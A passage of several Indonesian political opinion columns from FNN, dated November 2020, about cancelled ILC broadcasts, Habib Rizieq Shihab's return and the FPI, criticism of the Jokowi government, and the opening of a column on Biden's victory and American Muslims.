by Asyari Usman Jakarta FNN - Rabu (11/11). Setidaknya sudah empat kali acara ILC dibatalkan dengan dugaan kuat ada intervensi kekuasaan. Yang pertama, ILC 10/1/2017 dengan judul Makar. Kedua, ILC 24/1/2017 dengan tema Membidik Rzq. Dan yang ketiga, ILC 28/8/2018 dengan tema Persekusi di Negeri Demokrasi (persekusi #2019GantiPresiden). Yang terbaru adalah pembatalan ILC malam tadi (10/11/2020) yang seharusnya mendiskusikan kepulangan Beliau. Pihak penyelanggara mengatakan pembatalan-pembatalan itu dilakukan karena alasan teknis. Ada juga alasan kesehatan pemandu acara, yakni Datuk Karni Ilyas. Tapi, agak sulit mempercayai alasan pembatalan itu. Kok bisa secara kebetulan saja terjadi kendala teknis tiap Selasa malam. Atau, gangguan kesehatan Karni Ilyas bertepatan pada hari Selasa malam juga. Bagaimana cara meyakini alasan pembatalan itu, Bang Karni? Bang Karni kemudian menghadap ke kamera sambil mengucapkan kutipan dari para penulis, pakar atau filosof. “Pemirsa, ‘Kendala teknis adalah gangguan yang tidak bisa dipahami dengan jalan pikiran konvensional’, itu kata Asyari Usman –wartawan senior. Kita rehat sejenak.” Begitu kata Bang Karni menjawab pertanyaan di atas. Jadi, kita harus menggunakan jalan pikiran non-konvensional. Harus berpikir ‘out of the box’ alias OOTB. (Pasti Anda semua masih ingat, berpikir OOTB adalah kesukaan Presiden Jokowi). Karena itu, silakan Anda menerka dengan prinsip berpikir OOTB tentang sebab pembatalan yang sebenarnya. Kalau misalnya Anda tiba-tiba mengatakan bahwa “teknis” itu adalah kepanjangan dari “tekanan istana”, pasti ini dianggap berpikir kreatif ala OOTB tadi itu. Sekarang, giliran saya yang menghadap kamera. “Pemirsa, kita sarankan agar Bang Karni mundur saja. Serahkan ILC kepada orang yang lebih nekad menghadapi kendala Teknis.” Ada baiknya juga Bang Karni mundur dari ILC. Kemudian, beliau fokus menulis memoir sebagai wartawan. Termasuk di dalamnya memoar sebagai pemandu ILC. Di sini, Bang KI bisa menjelaskan dengan bebas dan detail apa alasan sesungguhnya pembatalan diskusi ILC selama ini. Supaya tidak terpendam dan menyebabkan tekanan darah naik. Ingat, tensi darah tinggi Bang Karni dijadikan alasan pembatalan ILC 28/8/2018. “Bang Karni, kami mendiskusikan, Anda yang memutuskan mau tulis memoar atau tidak. Semoga ILC bisa lepas dari kendala Tekni reguler yang selalu datang Selasa malam.”[] (Penulis wartawan senior FNN.co.id)

Setelah Reformasi, Ada Tiga Revolusi

by M Rizal Fadillah Jakarta FNN – Rabu (11/11). Pada masa pemerintahan Presiden Jokowi, terhitung ada tiga tema revolusi telah muncul dan dicoba untuk disosialisasikan. Kemenangan Jokowi pada Pilpres 2014 lalu dibarengi dengan gelindingan istilah Revolusi Mental. Revolusi yang diarahkan pada perubahan sikap atau perilaku menuju mental disiplin, kerja keras, dan gotong royong. Revolusi mentan ini lalu dituangkan dalam Inpres Nomor 12 tahun 2016, yang dikenal dengan lima gerakan nasional, yaitu melayani, bersih, tertib, mandiri, dan bersatu. Sayangnya, Revolusi Mental bung-bunga semata. Sebab dalam kesejarahan, Revolusi Mental sangat dekat dengan pemahaman konsepsi sosialis komunis. Dikenalkan dan dipopulerkan oleh Partai Komunis Tiongkok (PKT). Tujuannya untuk mencuci otak kaum buruh dan petani agar menentang kekaisaran. Pemimpin Partai Komunis Indonesia (PKI) Diva Nusantara Aidit mengganti nama diri "Ahmad" dalam rangka Revolusi Mental. Menurutnya, Revolusi Mental belum berhasil jika masyarakat belum dijauhkan dari agama. Ketika Revolusi Mental Jokowi dinilai gagal, maka M Amin Rais muncul dengan gagasan baru. Amien rais mengusung terma Revolusi Moral. Jika mental menyangkut dengan sikap jiwa, maka moral lebih menitik beratkan pada nilai, apakah baik dan buruk? Buku yang dibuatnya berjudul "Hijrah Selamat Tinggal Revolusi Mental, selamat Datang Revolusi Moral" berisi kumpulan tulisan. Konsepsi Revolusi Moral Amien Rais sampai sekarang belum terjabarkan seperti apa. Hanya menarik ke landasan keimanan dan kritik atas kondisi sosial politik kini yang dianggap nir-moral. Pandangan Jhon Buchan, sejarawan dan novelis Skotlandia mengemuka yang menurutnya revolusi moral lebih penting dari alat persenjataan militer. Gagasan Revolusi Moral redup bersamaan dengan ramainya konflik di PAN yang disepuhi oleh M Amin Rais sendiri. Figur Habib Rizieq Shihab (HRS) menjadi pembicaraan selama keberadaannya di Saudi Arabia, maupun Rencana kepulangan ke Indonesia. Saat kepastian tentang kepulangan HRS dan keluarganya ke tanah air, giliran gagasan tentang “Revolusi Akhlak” yang digaungkan. Pada pidato pertama di kediaman HRS Petamburan, gagasan “Revolusi Akhlak” diserukan kepada masyarakat dan umat. Sejak reformasi sampai sekarang, Indonesia sudah mempunya tiga gagasan revolusi, yaitu “Revolusi Mental Jokowi, Revolusi Moral Amien Rais dan Revolusi Akhlak HRS” Revolusi Akhlak perlu penjabaran kontekstual untuk menjadi pedoman perjuangan, terutama umat Islam dan pendukung setia HRS. Revolusi Akhlak yang dimaksud oleh Habib Rizieq Shihab tentu lebih kental nuansa keagamaannya. Rujukan utama adalah Sabda Nabi "innama bu'itstu liutammima makarimal akhlaq" (HR Bukhori). Entah apakah Revolusi Akhlak yang digaungkan HRS, ini akan membahana atau terhenti tergantung pada kekuatan figur yang menggemakannya. Disamping tentu saja perlu ada kejelasan konsepsi kontekstual dimaksud yang mudah dicerna dan diterima umat atau rakyat Indonesia. Ini penting, agar penjabarannya lebih mudah di lapangan. Yang pasti, Al Qur'an telah mengingatkan bahwa risalah nubuwah dalam melakukan perubahan adalah untuk menegakkan dan mendhohirkan agama yang benar (dienul haq) atas berbagai faham, isme, atau filosofi kehidupan lainnya (alad dieni kullihi). Meskipun demikian, untuk itu diperkirakan berbagai tantangan dan hambatan pasti akan menghambat. (QS At Taubah 33). Penulis adalah Pemerhati Politik dan Kebangsaan.

HRS Antara Pluralisme Dan Radikalisme

by Andi W. Syahputra Jakarta FNN – Rabu (11/11). Dini hari hingga pagi kemarin suasana Bandara Soekarno Hatta terasa berbeda. Ribuan massa dari berbagai daerah tumpah ruah sejak lewat tengah malam hingga pagi hari membanjiri Terminal Tiga Kedatangan. Peristiwa langka pagi itu bukan peristiwa biasa. Tetapi peristiwa politik, penjemputan Habib Rezieq Shihab (HRS) selepas diasingkan 3,5 tahun di Mekah, Arab Saudi. Tidak mengherankan bila Prof. Jimly Asshiddiqie menyebut peristiwa pagi tersebut sebagai peristiwa fenomenal. Bukan saja peristiwanya. Namun HRS boleh dibilang sangat fenomenal. Dia seorang yang menjadi penggerak revolusi dakwah yang melampaui zamannya. Gerakan dakwahnya telah menimbulkan kekecewaan bagi penguasa. Terutama terhadap sikap dakwahnya yang selama ini dinilai radikal. Namun belakang ini kesan itu tak sepenuhnya luntur. Oleh sebab itu, pemerintah justru banyak berharap kepulangannya kembali ke Tanah Air justru dibarengi dengan tawaran gagasan segar yang berbeda dengan warna dakwah sebelumnya. Sebaliknya, pemerintah juga jangan begitu memaksakan agar HRS meninggalkan konsistensi dakwahnya. Terutama upaya dirinya memadukan perjuangan hak politik umat Islam dalam kehidupan syari’ah. Upaya itu dengan semangat nasionalisme NKRI dalam bingkai “Indonesia Bersyari’ah”. Kehadiran Front Pembela Islam (FPI) secara faktual telah meniupkan roh perjuangan politik ekstra parlementer bagi umat Islam Indonesia. Kemunculannya disambut gegap gempita di kalangan masyarakat menengah-bawah. Di luar aksi-aksi kemanusiaan pada berbagai bencana alam dan dakwah yang konsisten dilakukan, telah merubah wajah dan tampilan FPI di masyarakat. Aksi monumental seperti 411 dan 212 sebagai reaksi umat atas penolakan terhadap kasus penistaan agama yang dilakukan Ahok, boleh dibilang sebagai tur propaganda anti pemerintah yang dikomandoi oleh HRS. Demostrasi itu tercacat sebagai aksi massa terbesar dalam sejarah Indonesia. Inilah kulminasi pergerakan massa umat Islam dalam jumlah besar-besaran yang kemudian dikembangkan oleh tokoh-tokoh Islam lainnya untuk mengorganisir massa seperti Persaudaraan Alumni 212 dan GNPF-Ulama Tak bisa dimungkiri bahwa HRS meletakkan pondasi penting bagi gerakan umat Islam. FPI maupun organisasi turunannya dinilai jauh lebih radikal daripada ormas-ormas Islam lainnya. Tak cuma menyerukan syari’ah dimasukkan dalam sistem hukum formal dalam kedaulatan NKRI. HRS juga mengusung reformasi politik nasional yang lebih beradab dan berkeadilan. Khutbah-khutbah dakwah yang selama ini disampaikan cukup keras, dinilai oleh sebagian golongan memicu permusuhan diantara sesama anak bangsa. Setiap khotbah dakwahnya mengundang curiga pemerintah. Tak pelak, HRS dicap sebagai agitator berbahaya. Dia menjadi figur fenomenal yang mampu menggetarkan kekuasaan pemerintahan siapapun. Jadi, tadaklah mengherankan bila pemerintah menganggap pandangan politik HRS yang disampaikan lewat organisasi dakwahnya FPI cukup berbahaya bagi penguasa siapapun. Karena itu, apabila beragam upaya kriminalisasi lewat operasi kriminal dicoba untuk dilakukan hanya sekadar menolak kehadiran HRS bersama FPI dengan dalih mengancam keamanan dan ketertiban umum. Dari serangkaian wawancara singkat penulis dengan beberapa warga masyarakat yang secara acak. Ternyata bagi masyarakat menengah-bawah, justru kehadiran HRS dinilai punya pengaruh besar bagi perubahan kehidupan sosial lingkungan daerah tersebut. Safari dakwah HRS hingga pelosok kampong di seantero negeri dari Sabang hingga Merauke, ternyata telah menyadarkan dan membangkitkan kembali rasa ke-Islaman kaum muda setempat dalam menegakkan amar ma’ruf nahi munkar. Adanya dukungan massa kelompok marjinal dari berbagai daerah yang kemudian berinteraksi dengan sejumlah ulama-ulama maupun pengusaha-pedagang lokal telah menjadikan basis bagi gerakan HRS selanjutnya. Keberadaan HRS dianggap menjadi pendobrak utama terhadap tata kelola negara yang mengabaikan rasa keadialan. Bahkan cenderung zolim kepada rakyatnya sendiri, karena pemerintah lebih mengutamakan kepentingan oligarki, korporasi dan konglomerasi. Syariah Kekuatan Pluralisme Terlepas dari pola gerakan dakwah yang diusung HRS selama ini. Sepanjang masih dalam batas-batas koridor konstitusional dan hukum yang berlaku, pemerintah mesti menjamin terlaksananya kebebasan berorganisasi dan berpendapat yang dijamin secara konstitusional. Sebaliknya, HRS mesti memahami dan memastikan dakwah yang disampaikannya tidak merusak keragaman etnik, agama dan budaya yang menjadi modal besar bagi tegaknya pondasi NKRI ini. Dakwah dalam rangka mewujudkan “Indonesia Bersyari’ah” yang berkeadilan diyakini tak akan mampu merusak tatanan keberagaman yang selama ini telah dibangun secara inklusif. Syariah itu memberikan perlindungan dan pengamanan kepada mereka yang tidak bersayarah. Sehingga semua warga negara punya hak yang sama dalam kehidupan berbangsa dan bernegara. Mengutip pemikiran Nurcholish Majid, kemajemukan bangsa Indonesia merupakan dekrit Allah dan desain-Nya. Indonesia tidak bisa dipaksakan sebagai bangsa monolitis, lantaran tak ada masyarakat yang tunggal. Monolitik sama dan sebangun dalam segala aspek khidupan berbangsa dan bernegara. Dimana masing-masing memiliki kesetaraan dalam mengaktualisasikan hak-hak politik kebangsaannya. Pertanyaan yang patut diajukan adalah, apakah HRS anti keberagaman? Menelisik serangkaian pesan-pesan dakwah yang disampaikannya, terutama memahami pemikirannya yang tertuang dalam Tesis Masternya yang berjudul 'Pengaruh Pancasila Terhadap Penerapan Syariat Islam di Indonesia” ternyata dia mengakui bahwa keberagaman itu pula yang menjadi cikal bakal lahirnya NKRI. Namun menurutnya, sebagai dasar Negara Pancasila, tidak pernah melarang penerapan syariat Islam di Indonesia sepanjang diperjuangkan melalui koridor konstitusional. HRS menegaskan, suatu hal keliru jika ada yang menyebut NKRI berdasarkan Pancasila tidak boleh memberlakukan hukum Islam. Pancasila tidak melarang pemberlakuan penerapan syariat Islam. Pancasila membuka pintu selebar-lebarnya untuk pemberlakuan hukum agama di Indonesia. Selama itu dilakukan secara konstitusional. Nahdlatul Ulama dan Muhammadiyah memperjuangkan nilai-nilai syari'ah dalam perjuangan organisasinya. Menurutnya, pola dakwa FPI adalah duplikasi daripada gerakan NU dan Muhammadiyah, yang selalu berupaya memasukkan nilai-nilai Islam dalam perundang-undangan dan hukum formal secara konstitusional. Pada bagian lain tesisnya, tegaknya syariat Islam di Indonesia dapat terbagi empat klasifikasi. Pertama hukum yang berkaitan perorangan, seperti salat, puasa, zakat, haji, kurban. Itu sudah berlaku dan sudah berjalan di Indonesia sejak dulu sampai sekarang. Kedua, berkaitan dengan rumah tangga, seperti hukum perkawinan, perceraian, hak kewajiban suami-istri, hak asuh anak, hingga hukum waris. Hukum Islam yang berkaitan dengan keluarga bukan larangan untuk diperjuangkan dan diberlakukan dalam rumah tangga muslim. Bahkan oleh negara sendiri hal demikian selama ini diizinkan, dilegalkan, dan bahkan disediakan perangkat hukumnya seperti Pengadilan Agama, ada kompilasi hukum Islam yang secara legal formal keberadaannya diakui negara. Ketiga, soal hukum Islam yang berkenaan dengan sosial-kemasyarakatan, termasuk pendidikan dan ekonomi. Tidak ada satu item dan klausul dalam perundang-undangan Indonesia yang melarang pemberlakuan hukum secara Islam dalam bidang itu. Bahkan saat ini ada perbankan syariah, asuransi syariah, Pegadaian syariah. Kemudian pendidikan ada madrasah, pesantren. Semua legal diakui Negara. Keempat, soal hukum Islam berkenaan dengan otoritas negara. HRS membahas kaitan hukum pidana Islam disinergikan dengan kompilasi kitab hukum pidana. Umpama pencuri, (hukumannya) dipotong tangan. Pemabuk dicambuk dan sebagainya. Hukum-hukum ini tidak bisa dijalankan sendiri-sendiri, ini harus negara yang menjalankannya. Empat klasifikasi tegaknya syari’ah Islam versi HRS itu yang diklaim sebagai aspirasi politik sebagian umat Islam yang diperjuangkan FPI. Ini sudah tentu mesti diperjuangkan lewat politik konstitusional. Namun bukan berarti tuntutan semacam itu lantas dimaknai sebagai gerakan politik yang hendak menghidupkan kembali prinsip-prinsip hukum Islam dalam hukum positif Negara. Terlepas setuju tidaknya, aspirasi yang ada ini mesti diakomodir sebagai dinamika keberagaman yang hidup di tengah masyarakat. Pemerintah tidak boleh menutup rapat kenyataan aspirasi semacam ini. Pengalaman konflik horizontal justru bersumber dari perlakuan diskriminasi dan ketidakadilan penguasa terhadap kelompok tertentu. Kesetaraan politik merupakan beragaman mengukuhkan persatuan sebagai satu bangsa yang menjadi kunci kokohnya NKRI. Dalam berbagai kesempatan, komitmen untuk setia kepada NKRI, Pancasila dan UUD 1945 kerapkali ditonjolkan dalam aksi-aksi FPI. Dimana lagu kebangsaan Indonesia Raya dilantunkan beriringan dengan shalawat Nabi. Bagaimanapun, HRS dan FPI mesti menyadari bahwa keberagaman merupakan syarat mutlak untuk menciptakan Indonesia yang kokoh dan berwibawa. Nilai ke-Islaman sangat menjunjung tinggi keberagaman dan toleransi yang mesti dicontohkan dalam kehidupan berbangsa. Penutup Kepulangan HRS ke Tanah Air yang ditandai dengan peristiwa fenomenal dan langka, sejatinya mesti dimaknai penguasa bukan sebagai sosok yang kembali membuat keonaran politik. Hidup 3,5 tahun dalam pengasingan di Arab Saudi sebagai upaya memutus rantai akses politik umat, bukan solusi pamungkas Seperti terlihat dalam prosesi penyambutan di Bandara Soetta kemarin. Justru kehadiran HRS sangat dinantikan umatnya. FPI seolah-olah merupakan manifestasi dari karakter dakwah HRS. HRS adalah ulama progresif yang mencoba memadukan warna politik dalam dakwahnya. Sehingga membuat gerakan politik dakwah tanpa teori atau terkesan gamblang dan lebih bersifat praktis. Oleh karenanya, tak cuma klaim semata penguasa, mayoritas warga pun mengakui dakwah HRS lebih radikal dibandingkan ulama-ulama lainnya. Ini karena jiwa HRS yang penuh perlawanan. Semangat perlawanan ini terutama ditanamkan kepada anggota dan simpatisan FPI yang kian massif jumlahnya. Namun bagi HRS, FPI lebih merupakan alat perjuangan propaganda politik bukan ideologi politik. Dia memang sangat piawai dalam soal propaganda politik, terutama lewat orasi-orasi dakwahnya dan pengorganisasian demonstrasi massal. Inisiatif HRS ini telah menjadi panutan bagi banyak aktivis Islam Islam lainnya untuk melakukan hal serupa. Baik itu dalam materi dakwah maupun cara berdemonstrasi yang berkaitan dengan isu-isu politik kebangsaan dan keumatan. Lantas, dengan sosok yang multi dimensi seperti itu apakah pantas dia diasingkan dan dianggap tokoh yang berbahaya? Rasanya tidak pantas. Negeri ini butuh tokoh kharismatik yang mampu berlaku sebagai penyambung lidah kelompok yang termarjinalkan secara kekuasaan. Dia menjadi kekuatan check and balances bagi penguasa yang otoriter dan represip. Wallahu’alam bi sawab. Penulis adalah Pratisi Hukum.

Massa Pendukung HRS, Kekuatan atau Hanya Kerumunan?

by Tony Rosyid Jakarta FNN – Rabu (11/11). Puluhan, ratusan, atau mungkin jutaan massa yang menjemput Habib Rizieq Pulang (HRS) kembali ke tanah air dari Makkah, Arab Saudi. Ini sangat fenomenal. Belum pernah ada ulama, tokoh atau pejabat Indonesia yang disambut lautan massa sebanyak itu. Apa penyebabnya? Pertama, dari sisi Habib Rizieq. Publik melihat Habib Rizieq ini terdzalimi. Gara-gara demo 411 dan 212 dan tumbangkan Ahok, tokoh yang dipanggil HRS ini dihadiahi banyak kasus. Ada 17 kasus. Bahkan dibunuh karakternya dengan chat mesum. Belakangan, kasus chat mesum di-SP3. Dimanapun, termasuk di Indonesia, masyarakat akan iba ketika melihat orang-orang yang terdzalimi. Siapapun mereka. Dan Habib Rizieq dipersepsi oleh masyarakat sebagai tokoh yang terdzalimi. Banyak kasus yang membuat persepsi ini makin menguat. Informasi bahwa beberapa jam menjelang pulang, ada pihak yang mencoba menggagalkan HRS pulang, justru semakin menguatkan persepsi kedzaliman itu. Langkah yang terbilang konyol ini justru membuat masyarakat semakin simpati kepada Habib Rizieq. Sekaligus memperjelas kerja Badan Intelijen Negara (BIN) yang amburadul, picisan dan amatiran. Kedua, HRS tetap konsisten dengan perjuangannya. HRS tetap istiqamah untuk melawan rezim yang dianggapnya banyak melakukan kedzaliman dan otoritarisme. Dari sinilah HRS teriak tentang revolusi. Belakangan, menjadi “Revolsi Akhlak”. Ini strategi agar tidak dipersiapkan secara hukum, atau memang ada pergeseran konseptual? Biarlah HRS yang menjawab. Ketiga, HRS dianggap tokoh yang paling berani untuk menyuarakan aspirasi masyarakat luas. Betapa pemerintah ini dianggap banyak mengecewakan rakyat. Mulai dari produk aturan, kebijakan, hingga penegakan hukum dan hancurnya ekonomi. Survei Litbang Kompas, lebih dari separo, tepatnya 52,5% rakyat tak lagi puas dengan kinerja pemerintah Jokowi. Mereka yang kecewa kepada Pemerintah Jokowi kini kambali menemukan HRS. Tokoh yang serlama ini dianggap mampu menyuarakan kekecewaan mereka dengan lugas dan tegas. Tidak saja berharap, mereka menganggap bahwa HRS bisa menjadi lokomotif perubahan. Apakah Habib Rizieq menyadari akan potensi ini, dan mau mengoptimalkannya? Potensi itu akan bisa dipotret pada situasi politik beberapa pekan kedepan. Pertanyaan, ini akan menjadi titik awal untuk melihat massa pendukung HRS, apakah hanya akan menjadi militansi kerumunan, atau bisa menjadi sebuah kekuatan. Semua akan sangat bergantung pada isu, konsolidasi dan gerakan sosial yang dilakukan HRS ke depan. Road show tabligh akbar HRS, jika isu dan narasinya datar, kemudian tidak ada langkah untuk melakukan konsolidasi dan membuat rencana gerakan sosial, maka apa yang dilakukan HRS tak ubahnya dengan ceramah Ustaz Abdussomad, Ustaz Das'ad dan para penceramah lainnya. Dan ini tidak akan membuat "perubahan drastis" sebagaimana yang diimaksudkan oleh revolusi akhlak HRS. Gagasan “Revolusi Akhlak” yang digaungkan HRS, memimpikan perubahan drastis itu mesti ada langkah dan strategi yang terukur. Dan hampir bisa dipastikan “Revolusi Akhlak” ini tidak akan bisa diwujudkan hanya dengan road show ceramah ala para muballigh. Sebab, perubahan mendasar itu paling efektif jika terjadi di struktur politik. Di dalam struktur politik ada kekuasaan yang mampu memaksa rakyat dan bangsa ini untuk berubah. Sementara ceramah, itu sifatnya himbauan yang tidak mengikat. Suka-suka umat, mau pakai atau tidak. Mau dimasukkan hati, atau dikeluarkan lewat telinga. Namanya juga pengajian. Jadi, massa pendukung HRS hanya akan jadi kerumunan jika tidak dikelola dengan langkah konsolidasi dan strategi yang mampu memengaruhi struktur kekuasaan untuk melakukan perubahan yang mendasar. Sampai disini, jelas bedanya mana revolusi akhlak, mana majlis ta'lim. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

HRS Simbol Perlawanan

by Yons Achmad Depok FNN - Rabu (11/11). Kenapa Habib Rizieq Shihab (HRS) begitu dirindukan kedatangannya ketika kembali ke tanah air? Saya kira bukan karena semata beliau ulama, tapi lebih dari itu. Beliau adalah simbol perlawanan terhadap rezim. Mengutip istilah Megawati, “Amburadul”. Ya, memang istilah itu digunakannya untuk menyebut era kepemimpinan Anies Baswedan. Pendapat yang “Super ngawur” tak terkira dengan fakta segudang prestasi yang diraih DKI Jakarta. Tapi, kalau boleh jujur, rezim Jokowi inilah yang sebenarnya “Ambudarul” dilihat dari sisi apapun. Politik gaduh, ekonomi jeblok, penegakan HAM jauh dari harapan, kesejahteraan masyarakat tanpa peningkatan bahkan diprediksi akan lebih memburuk kalau UU Cipta Kerja “Omnibus Law” diberlakukan. Sementara, kebebasan pers sekadar mimpi, penangkapan aktivis terus terjadi. Kalau boleh menilai secara obyektif, kurang “Amburadul” apa rezim Jokowi ini? Setelah periode pertama pemerintahan Jokowi berakhir, memang muncul Prabowo sebagai penantang terberat Jokowi. Munculnya Prabowo banyak didukung kalangan Islam, termasuk “Umat” 212 pimpinan Sang Imam Besar HRS itu. Munculnya Prabowo sebenarnya bukan harapan luar biasa. Banyak orang dulu memilih Prabowo bukan semata-mata karena kapasitas pribadi Prabowo. Tapi lebih karena banyak orang tak mau Jokowi terpilih lagi. Dalam suasana kebatilan itulah banyak orang tutup mata atas segala kasus, kontroversi dan keburukan yang melekat dalam diri Prabowo. Intinya banyak orang ingin Jokowi jangan sampai terpilih lagi. Hanya saja, fakta bicara lain. Jokowi menang dan kembali menjadi presiden sampai 2024 nanti. Sementara, Prabowo yang digadang-gadang itu ternyata punya jalan lain. Rela menjadi bawahan Jokowi sebagai menteri pertahanan. Banyak orang menyayangkan, bahkan menyebut apa yang dilakukan Prabowo itu sebuah pengkhianatan. Kini, umat seolah rindu pimpinan. Sebenarnya, di level formal, ada Partai Keadilan Sejahtera (PKS) yang menjadi oposisi di parlemen. Sayangnya, kehadiran PKS rupanya belum mewakili harapan umat di luar partai. Dalam tubuh PKS sendiri, walaupun secara internal kondisinya begitu solid, tapi sepertinya belum muncul tokoh yang bisa merangkul kelompok-kelompok Islam lain, termasuk komunitas 212. Maka, tak heran ketika kemudian muncul partai-partai baru yang dipelopori aktivis-aktivis Islam, seperti Anis Matta dan Fahri Hamzah dengan Partai Gelora, Amien Rais dengan Partai Ummat, begitu juga kembali muncul Partai Masyumi yang dimotori MS Kaban yang konon kabarnya partai itu didirikan lantaran kecewa PKS tak merangkulnya. Maka, tak heran kehadiran HRS begitu dielu-elukan. Kenapa? Sebagai simbol perlawanan terhadap rezim Jokowi. HRS begitu keras melakukan kritik terhadap sepak terjang dan kebijakan Jokowi. HRS bukan sosok ulama yang cari aman dengan sekadar melakukan amar ma’ruf (mengajak kebaikan), tapi, tokoh ini satu-satunya ulama yang berani, punya nyali, tidak takut pada apapun dalam upaya mencegah kebatilan (nahi munkar). Setidaknya, hal ini yang bisa menjadi penjelasan kenapa kehadiran HRS begitu dirindukan, begitu dielu-elukan. Hanya saja, akankah kemudian HRS tetap garang atau malah jadi lembek sekembalinya ke tanah air? Kita tunggu saja kabar selanjutnya. Terlepas dari itu, sepertinya para aktivis Islam arus bawah harus belajar dari sejarah. Sudah sering umat ini dikhianati oleh elit-elit politik maupun ulama yang kemudian setelah masuk kekuasaan, pandangan, pikiran, perkataan dan perbuatannya jauh dari yang diharapkan. Maka, melakukan pengawalan terus menerus perlu dilakukan. Sampai menemukan sosok pemimpin yang selaras kata perbuatan serta mampu memberikan angin segar pada kemajuan dan kesejahteraan. Tak hanya bagi umat Islam, tapi bagi rakyat Indonesia secara keseluruhan. [] Penulis adalah kolumnis tinggal di Depok.

Untuk Kau Yang Buat Tagar #Nyusahin di Medsos

by Asyari Usman Jakarta FNN - Selasa (10/11). Ada tagar #Nyusahin yang menyindir gangguan terhadap sejumlah penumpang akibat ratusan ribu umat yang memadati bandara Soekarno-Hatta (Soetta) menyambut kepulangan Habib, hari ini (10/11/2020). Antara perlu dan tidak untuk menanggapi tagar yang picik ini. Tapi, ada baiknya ditanggapi. Supaya orang yang membuat tagar tsb paham tentang suasana lahir-batin rakyat. Perlu ditanggapi karena sebesar apa pun kesusahan publik yang diakibatkan penyambutan Habib itu, jauh lebih kecil dari kesusahan yang disebabkan oleh perbuatan para cukong yang berkolaborasi dengan para penguasa bejat. Saya awali dengan identifikasi kau yang membuat tagar itu. Saya menduga, kau adalah orang yang membenci ulama. Bisa jadi kau adalah salah seorang buzzerRp. Ada kemungkinan kau adalah anak salah seorang pengusaha rakus yang tadi pagi menggunakan Soetta. Setengah hari kesusahan yang disebabkan kedatangan Habib tidak ada apa-apanya dibandingkan dengan kesusahan yang dialami puluhan juta rakyat akibat penggarongan yang dilakukan oleh para pemburu batubara di Kalimantan, pemburu nikel di Sulawesi, dan para pecoleng uang BLBI, Bank Century, Bank Bali, Jiwasyara, Bumiputra, Garuda, Sumber Waras, TransJakarta, dan banyak lagi. Kau katakan penyambutan Habib membuat pengguna bandara Soetta harus jalan kaki menuju terminal. Tahukah kau penderitaan anak-anak SD di pedalaman yang harus menyeberangi sungai deras degan jembatan tali, semenara para pejabat enak-enak duduk di runag ber-AC dengan kendaraan mewah? Tahukah kau bahwa Habib sudah belasan tahun meneriakkan penegakan keadilan bagi seluruh rakyat, sementara dia menolak uang sogok ratusan miliar bahkan triliun? Tahukah kau, hei pembuat #Nyusahin, bahwa Habib dan ribuan relawan Beliau sudah puluhan tahun turun ke banyak lokasi bencana alam tanpa pemberitaan media? Tahukah kau bahwa mereka melakukan itu untuk meringankan kesusahan para korban? Jadi, berpikirlah kau dengan jernih sebelum mengatakan penyambutan Habib tadi pagi menyusahkan para pengguna bandara. Kau seharusnya melihat bahwa yang dilakukan oleh Habib bukan pertunjukan hura-hura. Dia tidak pernah meminta siapa pun datang ke bandara untuk menyambut dirinya. Rakyatlah yang datang berbondong-bondong ke Soetta dari seluruh pelosok negeri. Habib tidak sedang menghabiskan uang rakyat. Bukan sedang menumpukkan kekayaan. Tidak juga sedang menggendutkan rekening banknya. Beliau pulang untuk melanjutkan perjuangan. Memang boleh jadi kau, si pembuat tagar #Nyusahin, tidak memerlukan Habib karena kau sudah kenyang dan nyaman. Karena itu, kau tak rela terganggu sedikit di tengah lautan aspirasi yang menghargai Habib.[] Penulis adalah wartawan senior FNN.co.id

Kemenangan Joe Biden & Komunitas Muslim Amerika

by Shamsi Ali Saya tidak tahu harus memulai dari mana? Terlalu banyak yang perlu saya sampaikan, sekaligus saya respon. Banyak pertanyaan sekaligus keraguan atas dukungan Komunitas Muslim terhadap Joe Biden-Kamala Harris dalam pilpres Amerika kali ini. Barangkali saya mulai dengan mengatakan dalam menentukan pilihan politik, bukan hanya satu dua aspek yang menjadi dasar. Bukan hanya aspek kebijakan luar negeri misalnya. Tetapi juga bukan sekedar aspek domestic policy (kebijakan dalam negeri). Joe Biden dan Kamala Harris bagian dari pelaku politik Amerika. Yang pasti dalam perpolitikan Amerika, kebijakan negara tak ditentukan peròrangan. Bukan Presiden. Apalagi hanya ketua partai. Amerika, negara dengan sistem kenegaraan yang solid. Yang menentukan wajah negara dan bangsa adalah sistem. Karenanya supaya dipahami oleh semua pihak bahwa kebijakan pemerintahan antara yang satu dan yang lain tidak akan banyak berubah secara mendasar (fundamental) kecuali jika memang terjadi perubahan sistem secara mendasar. Lalu dimana kepentingan atau manfaat dalam dukungan politik atau seorang calon dalam pilihan politik? Saya pernah menyampaikan bahwa dalam menentukan pilihan politik di Amerika, ada dua kemungkinan metode yang terpakai. Pertama, metode “al-afdholiyah” (yang terbaik atau yang lebih baik). Kedua, metode “aqallu ad-dhiraraen” (lebih sedikit mudhoratnya). Inilah yang kami pakai dalam menilai dan menentukan pilihan antara dua kandidat presiden Amerika, Joe Biden dan Donald Trump. Bahwa dengan segala kesamaan, keduanya tentunya kapitalis, punya ambisi untuk kepentingan Amerika di dunia global. Tentu ada sisi-sisi yang membedakan keduanya. Berikut saya sampaikan beberapa perbedaan di antara keduanya. Sekaligus menepis beberapa pandangan tentang Biden dalam hal kebijakan Timur Tengah dan Global secara umum. Kebijakan Dalam Negeri Jauh sebelum menjadi Presiden Amerika, Donald Trump memang dikenal dengan sikapnya yang anti “Non White”. Belakangan yang paling nampak adalah anti imigran, khususnya Islam. Artinya tanpa ragu kita katakan bahwa Trump memang orang yang rasis. Karakter Trump yang rasis dan white radical (radikal putih) ini kemudian menjadi karakter politiknya. Bahkan menjadi motto kampanyenya di kemudian hari. “Making America great again” dimaknai sebagai menjadikan Amerika negara kaum putih lagi. Kemenangan Donald Trump kemudian terbukti salah satunya bertujuan untuk balas dendam kepada Barack Obama yang memang dibencinya. Maka hampir semua kebijakan Barack Obama berusaha untuk dihapuskan. Dari Obama Care yang bersejarah, hingga kepada pembatalan pemboikotan Iran, termasuk membatalkan hubungan diplomatik dengan Kuba yang telah dibuka oleh Obama. Kedekatan Barack Obama dengan Komunitas Muslim juga menjadi target Trump. Kita kenal bahwa di zaman Barack Obama beberapa posisi tinggi di pemerintahannya juga diduduki oleh orang Islam. Ada posisi President Special. Envoy to the Muslim Community, ada Dubes Muslim (Hafiz Quran) ke OKI, bahkan salah seorang Wakil Menlu Amerika ketika itu adalah wanita Muslimah keturunan India. Semua posisi itu ditiadakan di zaman Trump. Acara buka puasa di White House ditiadakan. Setelah diributkan baru diadakan lagi. Itupun hanya untuk Dubes-Dubes negara Islam. 